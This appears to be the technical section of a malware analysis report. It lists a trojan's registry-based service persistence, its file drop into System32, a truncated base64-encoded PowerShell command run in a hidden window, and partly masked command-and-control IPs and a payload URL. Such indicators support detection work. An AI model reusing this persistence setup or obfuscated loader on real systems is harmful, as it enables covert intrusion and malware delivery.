Technical Information
- [<HKLM>\System\CurrentControlSet\Services\pku2u] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\pku2u] 'ImagePath' = '"<SYSTEM32>\tvratings\pku2u.exe"'
- 'pku2u' "<SYSTEM32>\tvratings\pku2u.exe"
- 'pku2u' <SYSTEM32>\tvratings\pku2u.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABiAGkAZQBuAD0AJwBoAGkAbwBkAHgAaQBhAHkAaABvAHUAcgBjAGgAYQBpAHQAcQB1AHUAdQB6AHQAaABlAGEAZAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYABDAHUAYABSAG...
- %HOMEPATH%\524.exe
- <SYSTEM32>\tvratings\pku2u.exe
- from %HOMEPATH%\524.exe to <SYSTEM32>\tvratings\pku2u.exe
- '14#.#39.91.187':443
- http://gu#####usgazetesi.com/wp-includes/SQ/
- http://14#.##9.91.187:443/feiSw9XjfSS28xNflTE/T3TPXQD4GZSrfjXfUz/7n2mnKFNTBnn9GU/BudbOPh/ via 14#.#39.91.187
- DNS ASK gu#####usgazetesi.com
- '%HOMEPATH%\524.exe'
- '<SYSTEM32>\tvratings\pku2u.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABiAGkAZQBuAD0AJwBoAGkAbwBkAHgAaQBhAHkAaABvAHUAcgBjAGgAYQBpAHQAcQB1AHUAdQB6AHQAaABlAGEAZAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYABDAHUAYABSAG...' (with hidden window)